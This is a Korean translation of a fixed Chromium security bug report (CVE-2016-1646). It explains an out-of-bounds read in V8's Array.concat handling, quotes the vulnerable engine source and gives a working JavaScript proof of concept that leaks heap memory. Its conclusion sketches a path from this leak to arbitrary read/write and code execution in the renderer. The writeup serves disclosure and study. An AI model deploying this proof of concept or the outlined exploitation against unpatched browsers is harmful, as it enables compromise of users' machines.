v8 Array.concat OOB access writeup

(Issue 594574)

원문

https://bugs.chromium.org/p/chromium/issues/detail?id=594574

Reported by liangche...@gmail.com, Mar 14, 2016

Status: Fixed

Owner: cbruni@chromium.org

Closed: Mar 17

Components: Blink>JavaScript

Type: Bug-Security

Security_Impact-Stable

merge-merged-4.9

Hotlist-Merge-Approved

Security_Severity-High

M-49

reward-7500

merge-merged-50

merge-merged-5.0

Release-2-M49

CVE-2016-1646

번역

http://elmosec.tistory.com

번역 전 참고

V8 자바스크립트 엔진(V8 JavaScript Engine)은 구글에서 개발된 오픈 소스 JIT 가상 머신 형식의 자바스크립트 엔진이며 구글 크롬 브라우저와 안드로이드 브라우저에 탑재되어 있다. ECMAScript(ECMA - 262) 3rd Edition 규격의 C++로 작성되었으며, 독립적으로 실행이 가능하다. 또한 C++로 작성된 응용 프로그램의 일부로 작동할 수 있다.

V8은 자바스크립트를 바이트코드(bytecode)로 컴파일하거나 인터프리트(interpret)하는 대신 실행하기 전 직접적인 기계어(x86, ARM, 또는 MIPS)로 컴파일(compile)하여 성능을 향상시켰다. 추가적인 속도향상을 위해 인라인 캐싱(inline caching)과 같은 최적화 기법을 적용하였다.[1]

OOB는 Out of Bound의 약자이다.

I. 취약점

p.s. 아래에 언급된 줄 번호는 이 (https://ko.wikipedia.org/wiki/V8_(%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8_%EC%97%94%EC%A7%84)) 버전의 v8 을 참조한 것이다.

취약점은 IterateElements (src/builtin.cc:997) 함수에 존재한다. 반복적으로 배열의 요소들을 찾아가는 함수다.

다음은 fast/fast smi 요소들을 가진 배열을 찾아가는 예이다:

src/builtin.cc (IterateElements 함수)의 1025번째 줄:

```
switch (array->GetElementsKind()) {
    case FAST_SMI_ELEMENTS:
    case FAST_ELEMENTS:
    case FAST_HOLEY_SMI_ELEMENTS:
    case FAST_HOLEY_ELEMENTS: {
      // FixedArray 요소들을 살펴보고 HasElement와 GetElment를 사용
      // 누락된 요소의 원형을 확인하기 위함
      Handle<FixedArray> elements(FixedArray::cast(array->elements()));
      int fast_length = static_cast<int>(length);  <-- fast_length의 값은 밑의 반복문에 들어간 후에도 유지됨
      DCHECK(fast_length <= elements->length());
      for (int j = 0; j < fast_length; j++) {
        HandleScope loop_scope(isolate);
```

[1] V8 (자바스크립트 엔진) 위키피디아, https://ko.wikipedia.org/wiki/V8_(%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8_%EC%97%94%EC%A7%84)

```
        Handle<Object> element_value(elements->get(j), isolate); <-- 인덱스 j로 요소를 가져옴 (OOB
접근으로 이어짐)
        if (!element_value->IsTheHole()) {
          visitor->visit(j, element_value);
        } else {  <-- 구멍이라면 인덱스 j 값의 원형으로 돌아갈 수 있음
          Maybe<bool> maybe = JSReceiver::HasElement(array, j);
          if (!maybe.IsJust()) return false;
          if (maybe.FromJust()) {
            // 배열에 원형이 아닌 GetElement를 호출함, or getters won't
            // 그렇지 않으면 Getter들이 맞은 receiver 갖지 못함
            ASSIGN_RETURN_ON_EXCEPTION_VALUE(
                isolate, element_value, Object::GetElement(isolate, array, j),
                false);   <-- 함수가 인덱스 j로 배열의 __proto__을 가져오도록 재정의 함
                          <-- 재정의된 함수 안에서 배열의 길이를 짧게 만듦 (<fast_length)
            visitor->visit(j, element_value);
          }
        }
      }
      break;
    }
```

반복문에 들어가기 전에 결정되는 fast_length 번 만큼 반복문이 반복되는 것을 볼 수 있다. 하지만 만약 우리가 배열의 인덱스 j에 구멍을 하나 두고 인덱스 j로 배열의 __proto__의 값을 얻고자 함수를 정의 한다면, 반복문 중에 배열을 단축시킬 수 있는 (그리고 v8이 강제로 v8 힙을 재조직하도록 할) 기회가 생긴다. 그 후에, 반복문이 계속 되어 elements->get(j)이 OOB 접근으로 이어질 수 있다. 주의해야할 점은 Chrome 배포판에서는 elements->get(j)가 다음과 같이 경계를 확인하지 않는다.

```
src/objects-inl.h:2362
Object* FixedArray::get(int index) const {
  SLOW_DCHECK(index >= 0 && index < this->length()); <-- 배포판에서는 여기서 아무것도 하지
않음 ;)
  return READ_FIELD(this, kHeaderSize + index * kPointerSize);
}
```

Fast double elements 들이 담긴 배열에 접근할 때 위와 같은 문제가 switch case에도 비슷하게 적용된다.

II. PoC

IterateElements 함수는 자바스크립트로 호출되어 취약점을 발생시키는 Array.concat()에서

사용된다. 다음과 같은 간단한 PoC로 OOB 접근이 가능하다:

```
<html>
<script language="javascript">
function gc() {
  tmp = [];
  for (var i = 0; i < 0x100000; i++)
    tmp.push(new Uint8Array(10));
  tmp = null;
}

b = new Array(10);
b[0] = 0.1; <-- b[1]이 구멍!
b[2] = 2.1;
b[3] = 3.1;
b[4] = 4.1;
b[5] = 5.1;
b[6] = 6.1;
b[7] = 7.1;
b[8] = 8.1;
b[9] = 9.1;
b[10] = 10.1;

Object.defineProperty(b.__proto__, 1, { <-- b.__proto__[1]이 반복문을 중간에 제어할 수 있도록 정의
         get: function () {
                  b.length = 1; <-- 배열을 짧게 만듦
                  gc(); <-- 메모리 줄임
                  return 1;
         },
         set: function(new_value){
        /* 비즈니스 로직이 여기 들어감 */
        value = new_value
    }
});

c = b.concat();
for (var i = 0; i < c.length; i++)
{
    document.write(c[i]);
    document.write("<br>");
}
</script>
</html>
```

결과 (때에 따라 달라질 수 있음):

```
0.1
1
```

```
3.60739284464e-313
2.121995791e-314
0
8.487983164e-314
2.121995791e-314
2.121995791e-314
2.121995791e-314
1.9338903543223e-311
2.610054822887e-312
```

원래의 fast double 요소 배열에는 없던 V8 힙의 정보가 누출되어 볼 수 있다.

III. 결론

이 하나의 취약점으로 renderer process(x64에서도)에서 임의의 코드 실행까지 다를 수 있다. 요지는 1) Double 요소 배열에서 취약점을 트리거(trigger)하고, 메모리 구조를 재구성하여 힙 주소가 피해를 받을 배열 요소 바로 다음에 있도록 한다. 이 힙 주소들은 Double들을 통해 OOB 접근이 가해져 훗날 우리에게 정보를 유출시킨다. 2) Fast 요소 배열에서 취약점을 트리거하고, 메모리 구조를 재구성하여 조작된 주소가 피해를 받을 배열 요소 바로 다음에 있도록 한다. 이 조작된 주소들은 후에 OOB 접근이 가해지고 v8 오브젝트 주소로 여겨질 것이다. 또한 우리는 이 조작된 주소들이 가리키는 데이터 내용을 제어할 수 있게 되며 따라서 ArrayBuffer 오브젝트(my choice)들을 완전한 통제 아래 가질 수 있게 된다. 그 다음엔 임의의 읽기/쓰기가 어렵지 않게 가능해지며 코드 인젝션이 손쉬워진다.

자세한 사항은 익스플로잇을 참고. (알림창이 뜨면 renderer process 에 Windbg를 붙이고 실행을 계속하세요. 내가 설정해둔 int3 브레이크 명령에 프로세스가 멈출거에요.)

환경:
Chrome Stable Version 49.0.2623.87 (64-bit)
Windows 10 Version 1511 (10586.164)

Credit:
Wen Xu, Tencent KeenLab
hotdog3645@gmail.com